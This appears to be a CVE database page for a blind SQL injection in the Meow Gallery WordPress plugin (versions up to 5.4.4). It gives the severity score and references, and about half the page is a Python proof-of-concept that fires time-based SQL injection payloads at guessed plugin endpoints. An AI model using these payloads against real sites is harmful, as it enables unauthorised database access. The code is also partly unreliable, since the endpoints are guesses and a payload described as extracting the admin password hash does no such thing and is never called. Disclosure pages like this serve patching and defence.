CVE-2026-32418

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Jordy Meow Meow Gallery meow-gallery allows Blind SQL Injection.This issue affects Meow Gallery: from n/a through <= 5.4.4.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Meow Gallery <= 5.4.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

# CVE-2026-32418 PoC - Blind SQL Injection in Meow Gallery
# Target: WordPress site with Meow Gallery plugin <= 5.4.4

target_url = "http://target-wordpress-site.com"

# Blind SQL Injection payload examples:
# Time-based blind SQL injection
payload_time = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1"

# Boolean-based blind SQL injection to extract admin password hash
payload_bool = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1"

def test_sqli(url, payload):
    """Test for SQL injection vulnerability"""
    # Common Meow Gallery endpoint patterns
    endpoints = [
        "/wp-admin/admin-ajax.php",
        "/wp-json/meow-gallery/v1/gallery",
    ]
    
    for endpoint in endpoints:
        full_url = url + endpoint
        data = {
            'action': 'meow_gallery_query',
            'gallery_id': payload,
        }
        try:
            start_time = time.time()
            response = requests.post(full_url, data=data, timeout=10)
            elapsed = time.time() - start_time
            
            if elapsed >= 5:
                print(f"[+] Vulnerable endpoint found: {endpoint}")
                print(f"[+] Time-based blind SQLi confirmed (delay: {elapsed}s)")
                return True
        except requests.exceptions.RequestException as e:
            print(f"[-] Request failed: {e}")
    return False

if __name__ == "__main__":
    print("[*] Testing CVE-2026-32418 - Meow Gallery SQL Injection")
    test_sqli(target_url, payload_time)
    print("[*] Scan complete")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32418
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32418
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32418/
[4] VulDB https://vuldb.com/cve/CVE-2026-32418
[5] https://patchstack.com/database/Wordpress/Plugin/meow-gallery/vulnerability/wordpress-meow-gallery-plugin-5-4-4-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

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